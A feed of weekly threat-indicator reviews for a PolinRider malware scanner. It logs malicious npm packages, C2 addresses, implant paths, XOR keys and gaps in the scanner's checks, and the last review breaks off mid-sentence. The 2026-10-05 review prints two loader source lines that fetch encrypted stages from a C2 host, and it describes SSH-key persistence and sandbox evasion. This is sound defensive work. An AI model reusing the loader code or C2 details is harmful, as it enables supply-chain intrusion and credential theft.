</tr>
<tr>
<td><code>socket.dev</code></td>
<td>403</td>
<td>blocked</td>
</tr>
<tr>
<td><code>medium.com</code></td>
<td>403</td>
<td>blocked</td>
</tr>
<tr>
<td><code>gbhackers.com</code>, <code>unit42.paloaltonetworks.com</code>, <code>cyberpress.org</code>, <code>stepsecurity.io</code>, <code>mallory.ai</code>, <code>securityonline.info</code></td>
<td>not tested, or reachable</td>
<td><strong>blocked</strong></td>
</tr>
<tr>
<td><code>github.com</code> by <code>git clone</code></td>
<td>reachable</td>
<td>reachable</td>
</tr>
<tr>
<td><code>registry.npmjs.org</code>, <code>pypi.org</code></td>
<td>reachable</td>
<td>reachable</td>
</tr>
</tbody>
</table>
<p>This is the state the standing appendix describes for 2026-09-07, not the one
the directory README’s source table describes. The table is left as it is,
because it records what was true when it was written; this row is the
correction. <strong>This review is therefore a weaker claim than the last three</strong>: it
reached the dossier, the OpenSSF database and the registries, and saw
everything else only through search summaries, which are enough to know that
something was published and never enough to lift a string from.</p>
<p>What saved the week is that the OpenSSF <code>malicious-packages</code> database is a
GitHub repository and is still readable:</p>
<table>
<thead>
<tr>
<th>Source</th>
<th>Reached</th>
<th>How</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/ossf/malicious-packages">OpenSSF <code>malicious-packages</code></a>, read at commit <code>30c251e691</code></td>
<td>yes, <code>git clone --depth 1</code></td>
<td>Searched with a wider key than last week. Every addition below comes from records read in full here</td>
</tr>
</tbody>
</table>
<h2 id="upstream-state">Upstream state</h2>
<p>The dossier has not moved in thirteen weeks. No primary analysis of PolinRider
published between 2026-10-05 and 2026-10-12 was found, and the hosts where one
would most likely appear could not be read, so “none found” is the honest
statement and “none published” is not.</p>
<p>Secondary coverage inside the window, none of it readable here:</p>
<ul>
<li><strong>GBHackers, 2026-10-08, “ChainDrop and PolinRider Use Blockchain C2 to Steal
Cloud and CI/CD Credentials”.</strong> Per the search summaries it pairs Unit 42’s
ChainDrop analysis (a self-propagating npm worm in the Shai-Hulud family,
~400 packages, Ethereum smart-contract C2) with a recap of PolinRider’s
multi-chain fallback. ChainDrop is reported as a separate actor (TeamPCP),
not DPRK. Nothing about PolinRider in the summaries is new to this set.</li>
<li><strong>Socket’s tracker</strong> is quoted in one summary as now reporting “196 affected
package artifacts across 121 unique packages”, up from the July figure of 162
across 108. If accurate, the July gap below has grown by thirteen packages.
Read through a search summary only; the tracker itself is 403.</li>
</ul>
<h3 id="why-the-openssf-search-found-ten-more-names-this-week">Why the OpenSSF search found ten more names this week</h3>
<p>The 2026-10-05 search keyed on the Ethereum dead-drop indicators: the <code>0xa322</code>
wallet in both cases, <code>/0x/cls</code> and the <code>33ff3eda…</code> sender check. It found 71
records. This week the key was widened to every indicator in <code>ioc/</code> that a
record’s prose could quote — <code>MicrosoftSystem64</code>, the four TRON wallets, the
campaign UUID, <code>x-payload-b64</code>, <code>test26330331</code> and the literal word
<code>PolinRider</code>. That returned 62 records. <strong>None was published after
2026-10-04</strong>, so this is not new campaign activity: it is ten names from April
to July that the previous search shape could not reach.</p>
<ul>
<li>Two records describe themselves in their own words as “part of PolinRider
campaign”: <code>tailwindthml-flips</code> and <code>tailwind-typography-cssstyle</code>, April
2026, Amazon Inspector and indece.</li>
<li>Eight install the <code>MicrosoftSystem64</code> second stage: the same three per-OS
directories <code>implant-paths.txt</code> carries, the same
<code>com.launchkeeper.MicrosoftSystem64.plist</code> LaunchAgent, the same systemd and
autostart names, and — for the three <code>toskypi</code> / <code>nhpkevte1576</code> packages —
the same C2, <code>195.201.194.107:8010</code>, already in <code>network.txt</code>. Five pose as
the <code>ulid</code> library.</li>
</ul>
<p>All ten were checked against <code>registry.npmjs.org</code> on 2026-10-12. Every one is
the <code>0.0.1-security</code> placeholder, which is what npm leaves when it treats a
package as wholly malicious rather than hijacked, so the name alone is a
finding. For the substring trap: a registry search on each name, plus direct
lookups of the obvious superstrings (<code>neo-terminal</code>, <code>geo-terminal</code>,
<code>video-terminal</code>, <code>eo-terminals</code>, <code>hex-types</code>, <code>hex-typed</code>, <code>color-hex-type</code>,
<code>is-hex-type</code>, <code>msc-terminals</code>, <code>logger-drafts</code>, <code>check-ulids</code>, <code>index-ulids</code>,
<code>void-ulids</code>, <code>@types/hex-type</code> and others), found nothing published that
contains any of them.</p>
<h2 id="added">Added</h2>
<table>
<thead>
<tr>
<th>Indicator</th>
<th>File</th>
<th>Why there</th>
<th>Source</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>tailwindthml-flips</code></td>
<td><code>bad-packages.txt</code></td>
<td>Attacker-owned, record names PolinRider</td>
<td><a href="https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/tailwindthml-flips/MAL-2026-2910.json">MAL-2026-2910</a></td>
</tr>
<tr>
<td><code>tailwind-typography-cssstyle</code></td>
<td><code>bad-packages.txt</code></td>
<td>Attacker-owned, record names PolinRider</td>
<td><a href="https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/tailwind-typography-cssstyle/MAL-2026-2909.json">MAL-2026-2909</a></td>
</tr>
<tr>
<td><code>eo-terminal</code></td>
<td><code>bad-packages.txt</code></td>
<td>Attacker-owned, installs MicrosoftSystem64, C2 195.201.194.107</td>
<td><a href="https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/eo-terminal/MAL-2026-4345.json">MAL-2026-4345</a></td>
</tr>
<tr>
<td><code>logger-draft</code></td>
<td><code>bad-packages.txt</code></td>
<td>as above, same author <code>toskypi</code></td>
<td><a href="https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/logger-draft/MAL-2026-4346.json">MAL-2026-4346</a></td>
</tr>
<tr>
<td><code>msc-terminal</code></td>
<td><code>bad-packages.txt</code></td>
<td>as above, same payload, author <code>nhpkevte1576</code></td>
<td><a href="https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/msc-terminal/MAL-2026-4823.json">MAL-2026-4823</a></td>
</tr>
<tr>
<td><code>void-ulid</code></td>
<td><code>bad-packages.txt</code></td>
<td>Attacker-owned, installs MicrosoftSystem64</td>
<td><a href="https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/void-ulid/MAL-2026-5341.json">MAL-2026-5341</a></td>
</tr>
<tr>
<td><code>index-ulid</code></td>
<td><code>bad-packages.txt</code></td>
<td>as above</td>
<td><a href="https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/index-ulid/MAL-2026-5827.json">MAL-2026-5827</a></td>
</tr>
<tr>
<td><code>check-ulid</code></td>
<td><code>bad-packages.txt</code></td>
<td>as above</td>
<td><a href="https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/check-ulid/MAL-2026-5877.json">MAL-2026-5877</a></td>
</tr>
<tr>
<td><code>ulid-xyz</code></td>
<td><code>bad-packages.txt</code></td>
<td>as above, plus the com.launchkeeper plist</td>
<td><a href="https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/ulid-xyz/MAL-2026-6672.json">MAL-2026-6672</a></td>
</tr>
<tr>
<td><code>hex-type</code></td>
<td><code>weak.txt</code></td>
<td>Same family and attacker-owned, but two ordinary words a stylesheet or prose can contain, and <code>bad-packages.txt</code> is a fixed-substring match</td>
<td><a href="https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/hex-type/MAL-2026-5538.json">MAL-2026-5538</a></td>
</tr>
<tr>
<td><code>95.216.232.162</code></td>
<td><code>network.txt</code></td>
<td>MicrosoftSystem64 C2 of <code>ulid-xyz</code>, port 8010 like 195.201.194.107, also Hetzner</td>
<td><a href="https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/ulid-xyz/MAL-2026-6672.json">MAL-2026-6672</a></td>
</tr>
<tr>
<td>`(^</td>
<td>/)MicrosoftSystem64.vbs$`</td>
<td><code>filenames.txt</code></td>
<td>The Windows launcher the JavaScript form of the dropper writes; the implant’s own name with a script extension</td>
</tr>
</tbody>
</table>
<p><code>95.216.232.162</code> rests on one record, where most of <code>network.txt</code> has two
sources. It is carried because the record ties it to this implant by every
other property this set already matches on, and because a false match on
<code>network.txt</code> needs a live connection from a <code>node</code> or Electron process to that
exact address.</p>
<h2 id="considered-and-not-added">Considered and not added</h2>
<p><strong><code>bink@DESKTOP-N8JGD6T</code>.</strong> The comment on the attacker RSA key that the
<code>eo-terminal</code> payload appends to <code>~/.ssh/authorized_keys</code> (MAL-2026-4345). A
match would mean infection with no plausible alternative, so it is
<code>strong.txt</code>-grade — but nothing would ever compare it. <code>strong.txt</code> is matched
by the local check only inside build configs, <code>tasks.json</code>, hooks, extensions
and manifests, never in <code>~/.ssh</code>; the precedent is the one that keeps
small-file hashes out of <code>hashes.txt</code>. See techniques: this wants a check, not a
line.</p>
<p><strong><code>yszf984308/system-release</code>.</strong> The Hugging Face repository the <code>toskypi</code>
packages exfiltrate to. The same record says the configuration strings are XOR
and base64 obfuscated in <code>dist/config.js</code>, so the name does not occur in a
scanned file. Unlike <code>Lordplay/system-releases</code> and <code>jpeek998/system-releases</code>,
which <code>strong.txt</code> carries as delivery locations, no source here says this one
appears in plain text.</p>
<p><strong>The XOR key <code>[90, 60, 126, 18, 159, 75, 109, 138]</code>.</strong> Readable as an array
literal in the source’s description, but whether the file writes it with spaces,
without, or minified is not stated, and a fixed string has to bet on one.</p>
<p><strong>The HKCU Run key, the scheduled task name <code>\MicrosoftSystem64</code>,
<code>MicrosoftSystem64.service</code> and <code>MicrosoftSystem64.desktop</code>.</strong> All either
already in <code>implant-paths.txt</code> or registry and task-scheduler state, which is a
host check, not an indicator line.</p>
<p><strong><code>~/.pcl-data/offline-queue.jsonl</code>.</strong> Inside <code>~/.pcl-data</code>, already carried.</p>
<p><strong>The <code>npm-cache[.]com</code>, <code>pypi-get[.]com</code>, <code>js-mirror[.]com</code> domains and the
<code>0xE1f2395e…</code> contract.</strong> ChainDrop, per Unit 42 via search summaries. A
separate actor by every account seen, and not readable here regardless.</p>
<p><strong>Everything in GBHackers and Socket’s updated tracker count.</strong> Search summaries
only.</p>
<p><strong>The other 52 of this week’s 62 OpenSSF records.</strong> Already in
<code>bad-packages.txt</code>, already a comment in its hijacked block, or one of the eight
substring rejections recorded on 2026-09-14 and 2026-10-05. Nothing to reopen.</p>
<h2 id="open-gaps">Open gaps</h2>
<p><strong>The July 2026 ecosystem expansion.</strong> Carried forward for the fifth week, and
<strong>less reachable than last week, not more.</strong> socket.dev is 403, and so now is
every secondary source that summarised it. If the tracker’s reported 121
packages is right, the gap is thirteen packages wider. ChainVeil and ViteVenom
are covered since 2026-09-14; the Socket list is the open part.</p>
<p><strong>The eight substring rejections</strong> (<code>sass-format</code>, <code>typeorm-encrypt</code>,
<code>clsx-tailwind</code>, <code>tailwind-anim</code>, <code>tailwindcss-anim</code>,
<code>tailwind-container-queries</code>, <code>webdev-conf</code>, <code>tailwindcss-form</code>). Unchanged.
Still need a whole-name check against a parsed manifest, and <code>hex-type</code> now
sits in <code>weak.txt</code> for the same underlying reason.</p>
<p><strong>The <code>\u</code>-escape problem.</strong> Unchanged since 2026-10-05: a whole loader family
is written so that <code>grep -F</code> against <code>ioc/</code> finds nothing in it.</p>
<p><strong>The npm CLI persistence, small-file hashes, the blob-ID tier, the weak path
tier, the regex content tier, the font-vector <code>.woff2</code> forms, Python-side
coverage.</strong> All carried forward unchanged from 2026-10-05.</p>
<p><strong>New: <code>weak.txt</code> has no effect on the local check.</strong> Found while proving this
week’s additions. <code>polinrider check --fs-only</code> on a folder whose
<code>tailwind.config.js</code> contains <code>api.trongrid.io</code>, <code>files.catbox.moe</code> and
<code>hex-type</code> exits 0 with no review line. In <code>src/</code> the weak list is read by the
GitHub path (<code>remote.rs</code>) and by nothing else, and <code>ci/scan-workspace.sh</code> reads
it too. This is not a 2.0 regression: in 1.x, <code>lib/local-common.sh</code> defined
<code>has_weak</code> and never called it. But <code>ioc/README.md</code> and the docs site both say
the effect of <code>weak.txt</code> is a <code>review</code> line, and for the machine and folder
checks that has never been true. Whether the folder check should read it is a
maintainer decision; until then, review-tier indicators reach only the CI
scanner and the GitHub checks.</p>
<h2 id="new-techniques--maintainer-decisions-not-implemented">New techniques — maintainer decisions, not implemented</h2>
<ol>
<li><strong>An <code>authorized_keys</code> check.</strong> The <code>MicrosoftSystem64</code> RAT in the <code>toskypi</code>
packages appends its own RSA key to <code>~/.ssh/authorized_keys</code>, so a machine
cleaned of the implant can still be entered over SSH. Nothing here reads that
file for content; the credential inventory lists <code>~/.ssh</code> for rotation. A
check that flags an <code>authorized_keys</code> line whose comment matches a list —
starting with <code>bink@DESKTOP-N8JGD6T</code> — would be small, and the cleanup
advice should say to review <code>authorized_keys</code> regardless, since the next
build can use a different comment.</li>
<li><strong>The JavaScript form of the implant runs as <code>node</code>.</strong> The ULID-cluster
packages copy <code>payload.js</code> into the <code>MicrosoftSystem64</code> directory and run it
as <code>node payload.js --agent</code>, not as a native binary. <code>implant-names.txt</code> is
matched against the process name only, by design, so this process is
invisible to the process check; it is caught by the <code>implant-paths.txt</code>
directories and, from this week, by the <code>.vbs</code> launcher on Windows. A check
that asks whether any running <code>node</code> has a script under a <code>MicrosoftSystem64</code>
directory would close it without matching a full command line.</li>
<li><strong>Sandbox evasion by core count.</strong> Every record in the family exits when
<code>os.cpus().length &lt;= 4</code>. That means a CI runner or a small VM used to test a
suspicious package will see nothing, which is worth one sentence in the
documentation for anyone triaging by running the package.</li>
</ol>
<h2 id="notes">Notes</h2>
<ul>
<li><strong>The routine’s fixture expectation for <code>weak.txt</code> cannot be met by the local
check</strong>, for the reason in the gap above. This week’s weak entry was proved
through <code>ci/scan-workspace.sh</code> instead: exit 1 with one review line on a
manifest naming <code>hex-type</code>, exit 0 on a stylesheet with <code>hextype</code>, <code>hex_type</code>
and <code>HEX-TYPE</code>. The strong fixtures exited 2 under both
<code>polinrider check --fs-only</code> and <code>ci/scan-workspace.sh</code>, and the near-miss
fixture — <code>ulid</code>, <code>ulidx</code>, <code>terminal-logger</code>, <code>MicrosoftSystem64.vbs.txt</code>,
<code>System64.vbs</code> — exited 0 under both.</li>
<li><code>cargo fmt --check</code>, <code>cargo clippy -D warnings</code>, <code>cargo test</code> (179 passed),
<code>conformance/run.sh</code> (90 passed) and <code>ci/selftest.sh</code> all pass on this
branch. <code>polinrider --version</code> reports 43 strong, 94 packages, 33 network, 7
implant names, 25 weak. <code>shellcheck</code> is still not installed; no shell changed.</li>
<li><strong>Search results surfaced a repository named
<code>NeuroGenTech/polinrider-cleaner</code></strong>, described in its snippet as “INFECTED
with PolinRider malware. Do not clone or use”, archived 2026-10-10, with the
payload reported in <code>lib/gh-preserve.sh</code> on one branch. That file is part of
1.x, so this reads as a copy of this repository that was itself infected. It
is outside this review’s access and was not opened; it is recorded because
the maintainer will want to know, not as an indicator.</li>
<li>The OpenSSF clone was ~2 GB and was deleted after the search.</li>
<li>No page, repository or record read during this review attempted to give the
reviewer instructions. The OpenSSF records carry the standard “treat the
computer as fully compromised” advisory text, directed at readers.</li>
<li>The commits on this branch are <strong>unverified</strong>, for the reason the standing
appendix documents: the container’s signing key is registered to Claude, and
authoring as the maintainer yields <code>unknown_key</code>. Squash-merge resolves it.</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Weekly indicator review, 5 October 2026: 83 indicators added</title>
      <link>https://polinriderscanner.com/indicator-reviews/2026-10-05/</link>
      <guid isPermaLink="true">https://polinriderscanner.com/indicator-reviews/2026-10-05/</guid>
      <pubDate>Mon, 05 Oct 2026 00:00:00 GMT</pubDate>
      <category>Indicator review</category>
      <description>A second analyst team decoded the Ethereum dead drop end to end: two operator wallets, eleven C2 servers, 35 live repositories. It also showed that the 0xa322 wallet address in strong.txt has been in the wrong case since it was added, and settled the XOR-key boundary the 2026-09-28 entry could not. 55 package names lifted from the OpenSSF malicious-packages database, which turns out to be readable from here, five rejected as substrings of live packages. First current-variant font indicator. Two self-tests that failed for four weeks now pass</description>
      <content:encoded><![CDATA[<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Outcome</strong></td>
<td>83 indicators added</td>
</tr>
<tr>
<td><strong>Pull request</strong></td>
<td><a href="https://github.com/meSingh/polinrider-cleaner/pull/35">#35</a></td>
</tr>
<tr>
<td><strong>Indicator set</strong></td>
<td><code>ioc/strong.txt</code>, <code>ioc/weak.txt</code>, <code>ioc/network.txt</code>, <code>ioc/bad-packages.txt</code>, <code>ioc/filenames.txt</code>, <code>ioc/implant-paths.txt</code></td>
</tr>
</tbody>
</table>
<h2 id="sources">Sources</h2>
<table>
<thead>
<tr>
<th>Source</th>
<th>Reached</th>
<th>What it said</th>
</tr>
</thead>
<tbody>
<tr>
<td>OpenSourceMalware dossier</td>
<td>yes, cloned and read</td>
<td>Unchanged for the fifth week running. Latest commit still <code>0a8c9ea</code>, 2026-07-09 — twelve weeks. README still at its 2026-04-11 revision. None of this week’s strings appear anywhere in it</td>
</tr>
<tr>
<td>opensourcemalware.com blog</td>
<td>yes</td>
<td>Index enumerated again. <strong>One post inside the eight-day window</strong>: <code>the-opensourcemalwareshow-episode23</code> (2026-10-02). No new written analysis since the 2026-09-26 A/B post the last entry worked through, but the episode carries a dated update on the fake-font vector that is new and is the basis for one addition below</td>
</tr>
<tr>
<td>Web search, last 7 days</td>
<td>yes</td>
<td>Searched the campaign name, <code>MicrosoftSystem64</code> and <code>ForceMemo</code>. This is where the week came from: <strong>SafeDep published a new primary analysis on 2026-09-30</strong> that no previous entry has seen</td>
</tr>
<tr>
<td>socket.dev tracker</td>
<td><strong>no</strong> — 403, unchanged</td>
<td>Fourth week in a row, on both the tracker and the blog. Policy of the site, not the sandbox</td>
</tr>
</tbody>
</table>
<p><strong>New primary sources read in full this week</strong>, neither of them previously cited
in this directory:</p>
<table>
<thead>
<tr>
<th>Source</th>
<th>Reached</th>
<th>How</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://safedep.io/polinrider-ethereum-c2-github-repositories/">SafeDep, “PolinRider Switches to Ethereum C2 in 30+ Repositories”</a>, 2026-09-30</td>
<td>yes</td>
<td><code>curl</code>. The host is <strong>not</strong> on the sandbox’s block list, which no previous entry had established. Needs <code>-L</code>: the un-slashed URL returns 308</td>
</tr>
<tr>
<td><a href="https://github.com/ossf/malicious-packages">OpenSSF <code>malicious-packages</code></a>, read at commit <code>ae1ef409</code></td>
<td>yes, cloned</td>
<td>A public git repository, so the whole database is readable. 71 records match this campaign’s indicators</td>
</tr>
<tr>
<td><a href="https://blog.deception.pro/blog/hok-dprk-polinrider-sep-2026">Deception.Pro, “[Op Report] Hands-on-Keyboard Activity from the DPRK PolinRider Supply Chain Attack”</a>, 2026-09-09</td>
<td>yes</td>
<td>A honeypot capture, published inside the 2026-09-14 window and missed by that sweep. Provenance discussed below</td>
</tr>
</tbody>
</table>
<p>Reachability re-checked this week, since the table in the directory README says
to do that regardless of what it claims:</p>
<table>
<thead>
<tr>
<th>Host</th>
<th>Last entry</th>
<th>This week</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>socket.dev</code></td>
<td>403</td>
<td><strong>403</strong>, blog and tracker alike</td>
</tr>
<tr>
<td><code>thehackernews.com</code></td>
<td>reachable</td>
<td>reachable</td>
</tr>
<tr>
<td><code>checkmarx.com</code></td>
<td>reachable</td>
<td>reachable</td>
</tr>
<tr>
<td><code>opensourcemalware.com</code></td>
<td>reachable</td>
<td>reachable</td>
</tr>
<tr>
<td><code>safedep.io</code></td>
<td>never tested</td>
<td><strong>reachable</strong></td>
</tr>
<tr>
<td><code>blog.deception.pro</code></td>
<td>never tested</td>
<td><strong>reachable</strong></td>
</tr>
<tr>
<td><code>registry.npmjs.org</code></td>
<td>never tested</td>
<td><strong>reachable</strong></td>
</tr>
<tr>
<td><code>pypi.org</code>, including the full <code>/simple/</code> index</td>
<td>never tested</td>
<td><strong>reachable</strong></td>
</tr>
<tr>
<td><code>medium.com</code></td>
<td>never tested</td>
<td><strong>403</strong></td>
</tr>
</tbody>
</table>
<p>The last two rows of that list matter more than they look. See the notes.</p>
<p><strong>Sources that exist and could not be read.</strong> SlowMist published
“PolinRider Poisons Nova Using On-chain Transactions as a C2 Manager” on
2026-09-21, on Medium, which returns 403 here. Search summaries describe it as
corroborating the Ethereum dead-drop mechanism independently of SafeDep. Nothing
in this entry is lifted from it. Socket’s own 2026-09-17 Packagist post is
likewise 403, and Gurucul’s 2026-09-23 indicator post sits behind a community
login.</p>
<h2 id="upstream-state">Upstream state</h2>
<p><code>main</code> carries the 2026-09-28 review, so this week’s branch is based on <code>main</code>
and not stacked on an unmerged one, unlike the last two.</p>
<p>The dossier has not moved in twelve weeks. What moved is that <strong>a second
analyst team has published a full teardown of a branch of this campaign that
<code>ioc/</code> had almost no coverage of</strong>, and a third source — a machine-readable
malicious-package database — turns out to be readable from here.</p>
<h3 id="safedep-2026-09-30-the-ethereum-dead-drop-two-wallets-35-repositories">SafeDep, 2026-09-30: the Ethereum dead drop, two wallets, 35 repositories</h3>
<p>A malicious pull request against <code>oxc-project/oxc</code> on 2026-09-14 put the loader
into 20 build and test scripts. The maintainers did not merge it; an
<code>[autofix.ci]</code> formatter commit reflowed the one-line payload into 106 lines,
which is the only reason it was visible in the diff at all. From that one diff
SafeDep decoded every stage statically and walked the chain outward to <strong>35
GitHub repositories still carrying the loader at <code>HEAD</code> on 2026-09-30</strong>, with
7,578 stars and 2,884 forks between them. Four Creative Tim dashboard templates
in that set account for 1,773 forks.</p>
<p>The mechanism is the one this repository already knows as NullReceiver, with a
different chain and a second wallet:</p>
<ul>
<li>The loader asks three public Ethereum RPC endpoints for the current block
number, rounds down to a multiple of 256, adds 3, and reads that block looking
for a transaction whose sender contains a fixed 32-hex substring.</li>
<li>The <strong>recipient address</strong> of that transaction is the payload: bytes 1–4 are an
IPv4 address and bytes 5–6 a port, then a second pair at offset 7. The post
shows the decode by hand — <code>c6 69 7f d2</code> is <code>198.105.127.210</code>, <code>01bb</code> is 443.</li>
<li>Two operator wallets run this. <code>0x33ff3eda…9891</code> has posted every 256 blocks
(~51 minutes) since 2026-06-23, 2,895 transactions. <code>0xa322E5f3…Ef1a</code> — the
wallet already in <code>strong.txt</code> — posts every 1,000 blocks since 2026-07-25,
491 transactions.</li>
<li>Because every rotation is a transaction, the wallet history <strong>is</strong> the C2
history. SafeDep decoded all of it: eleven servers across the two wallets,
eight of them on AS149440 (Evoxt).</li>
</ul>
<p>Three things about this bear on the current set, and all three are now fixed or
written down:</p>
<ol>
<li><strong><code>ioc/</code> had two of the eleven C2 addresses for the <code>0x33ff</code> branch and three
of six for <code>0xa322</code>.</strong> The chain had simply not been read back far enough by
the sources previous entries used. All eight missing addresses are added.</li>
<li><strong>The <code>0xa322</code> wallet address in <code>strong.txt</code> is in the wrong case.</strong> It was
added on 2026-09-14 lowercased. <code>ioc/</code> is matched with <code>grep -F</code> and no <code>-i</code>,
and the literal in an infected file is the checksummed mixed-case form —
SafeDep prints <code>'0xa322E5f3D311D3080e6f0121063e9aDC2490Ef1a'.toLowerCase()</code>
straight out of <code>postcss.config.js</code> in one victim repository. The existing
entry has never matched a sample. Both forms are now carried.</li>
<li><strong>The first XOR key in <code>strong.txt</code> is a ten-character prefix of a
sixteen-character key</strong>, and this source settles the question the last entry
could not. See below.</li>
</ol>
<h3 id="the-xor-key-question-from-2026-09-28-is-answered-and-the-answer-is-the-other-one">The XOR-key question from 2026-09-28 is answered, and the answer is the other one</h3>
<p>The 2026-09-28 entry read OpenSourceMalware’s column-aligned table</p>
<pre class="astro-code astro-code-themes github-light-default github-dark-default" style="--shiki-light:#1f2328;--shiki-dark:#e6edf3;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0d1117; overflow-x: auto;" tabindex="0" data-language="plaintext"><code><span class="line"><span>XOR keys           q4FZkxX{!h,Sr3=@   y-p_&gt;d$0B&amp;@^1aQk</span></span></code></pre>
<p>as two keys separated by the comma, could not tell whether the run of spaces in
the second belonged to the key or to the column alignment, and carried
<code>q4FZkxX{!h</code> — the longest unambiguous part of the first — plus the whole of the
second. That reasoning was sound given one column-aligned table. It was wrong
about where the boundary falls.</p>
<p>SafeDep prints the same pair as two arguments in source code:</p>
<pre class="astro-code astro-code-themes github-light-default github-dark-default" style="--shiki-light:#1f2328;--shiki-dark:#e6edf3;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0d1117; overflow-x: auto;" tabindex="0" data-language="js"><code><span class="line"><span style="--shiki-light:#CF222E;--shiki-dark:#FF7B72">await</span><span style="--shiki-light:#8250DF;--shiki-dark:#D2A8FF"> rl</span><span style="--shiki-light:#1F2328;--shiki-dark:#E6EDF3">(</span><span style="--shiki-light:#CF222E;--shiki-dark:#FF7B72">new</span><span style="--shiki-light:#8250DF;--shiki-dark:#D2A8FF"> URL</span><span style="--shiki-light:#1F2328;--shiki-dark:#E6EDF3">(</span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF">`http://${</span><span style="--shiki-light:#1F2328;--shiki-dark:#E6EDF3">o</span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF">}:443/0x/cls`</span><span style="--shiki-light:#1F2328;--shiki-dark:#E6EDF3">), </span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF">'q4FZkxX{!h,Sr3=@'</span><span style="--shiki-light:#1F2328;--shiki-dark:#E6EDF3">, </span><span style="--shiki-light:#CF222E;--shiki-dark:#FF7B72">!</span><span style="--shiki-light:#0550AE;--shiki-dark:#79C0FF">1</span><span style="--shiki-light:#1F2328;--shiki-dark:#E6EDF3">);</span></span>
<span class="line"><span style="--shiki-light:#CF222E;--shiki-dark:#FF7B72">await</span><span style="--shiki-light:#8250DF;--shiki-dark:#D2A8FF"> rl</span><span style="--shiki-light:#1F2328;--shiki-dark:#E6EDF3">(</span><span style="--shiki-light:#CF222E;--shiki-dark:#FF7B72">new</span><span style="--shiki-light:#8250DF;--shiki-dark:#D2A8FF"> URL</span><span style="--shiki-light:#1F2328;--shiki-dark:#E6EDF3">(</span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF">`http://${</span><span style="--shiki-light:#1F2328;--shiki-dark:#E6EDF3">o</span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF">}:443/0x/ls`</span><span style="--shiki-light:#1F2328;--shiki-dark:#E6EDF3">),  </span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF">'y-p_&gt;d$0B&amp;@^1aQk'</span><span style="--shiki-light:#1F2328;--shiki-dark:#E6EDF3">, </span><span style="--shiki-light:#CF222E;--shiki-dark:#FF7B72">!</span><span style="--shiki-light:#0550AE;--shiki-dark:#79C0FF">0</span><span style="--shiki-light:#1F2328;--shiki-dark:#E6EDF3">);</span></span></code></pre>
<p>and its own indicator CSV repeats it per path: <code>/0x/cls</code> → “Response XOR key
<code>q4FZkxX{!h,Sr3=@</code>”, <code>/0x/ls</code> → “Response XOR key <code>y-p_&gt;d$0B&amp;@^1aQk</code>”. The comma
is inside the first key, both keys are sixteen characters, and the run of spaces
in OpenSourceMalware’s table was column alignment after all.</p>
<p>So <code>q4FZkxX{!h,Sr3=@</code> is added. The shorter <code>q4FZkxX{!h</code> is <strong>kept, not
replaced</strong>: it is a prefix of the full key, it still matches every sample the
full key matches, and it additionally covers a build that reuses only the first
half. The cost is one extra line of scanner output on a file that is already
<code>INFECTED</code>. <strong>The 2026-09-28 entry stands as written and was not edited</strong> — this
paragraph is the correction, and the comment above the two entries in
<code>ioc/strong.txt</code> records it where someone reading the data will see it.</p>
<h3 id="openssf-malicious-packages-the-55-package-names">OpenSSF malicious-packages: the 55 package names</h3>
<p>SafeDep mentions in passing that “the OpenSSF malicious-packages database has 70
records (68 npm and 2 PyPI) that contain <code>0xa322E5f3</code> or the <code>/0x/cls</code> path”.
That database is a <strong>public git repository on github.com</strong>, which is reachable
from here, so it was cloned and searched rather than taken on trust. The search
returns <strong>71 records — 69 npm, 2 PyPI — published between 2026-06-24 and
2026-10-04</strong>, every one of them matching an indicator this repository already
carries.</p>
<p>Each record names its reporter: Amazon Inspector, GitHub Security Advisories, or
Kamil Mańkowski’s <code>bad-packages</code> feed. The <code>pybitjs</code> record makes the
attribution explicit — “The payload and embedded IoCs are consistent with
campaigns attributed to Lazarus APT/PolinRider” — and cites the Deception.Pro
report as a reference, which is how that third source came to be read.</p>
<p>Two separations were done before anything was added, and both were mechanical
rather than judged:</p>
<ul>
<li><strong>Attacker-owned versus hijacked.</strong> Every candidate was fetched from
<code>registry.npmjs.org</code> or <code>pypi.org</code>. A package whose entire version history has
been removed — <code>latest</code> absent, or the <code>0.0.1-security</code> placeholder npm
substitutes — is one the registry treats as wholly malicious. A package with a
real <code>latest</code> and years of history is a hijacked victim, and for those the name
alone is not a finding, so they go in as comments with their versions. That
split put nine packages on the comment side, including three
(<code>@kolbo/mcp</code>, 265 versions, latest <code>1.107.2</code>; and <code>@syncraft-labs/core</code>,
<code>/react</code>, <code>/vue</code>) that are <strong>still live on npm with a later clean release</strong>.</li>
<li><strong>The substring trap.</strong> <code>bad-packages.txt</code> is matched with <code>grep -F</code>, so a name
that is a prefix of a real package reports every project depending on the real
one as <code>INFECTED</code>. Each candidate was run through npm’s search API, and every
superstring it returned was then fetched directly to see whether it was a live
maintained project or a placeholder. That caught five, listed under
<em>considered and not added</em>. This is the first week this check has been done
mechanically instead of by eye; see the notes.</li>
</ul>
<p>Fifty-five names survived both filters and are added.</p>
<h3 id="deceptionpro-2026-09-09-a-honeypot-with-an-operator-in-it">Deception.Pro, 2026-09-09: a honeypot with an operator in it</h3>
<p>Published inside the 2026-09-14 window and missed by that sweep. It records an
operator working interactively on an infected host for about 167 hours:
installing Python 3.14 machine-wide, pulling clipboard-theft and screen-capture
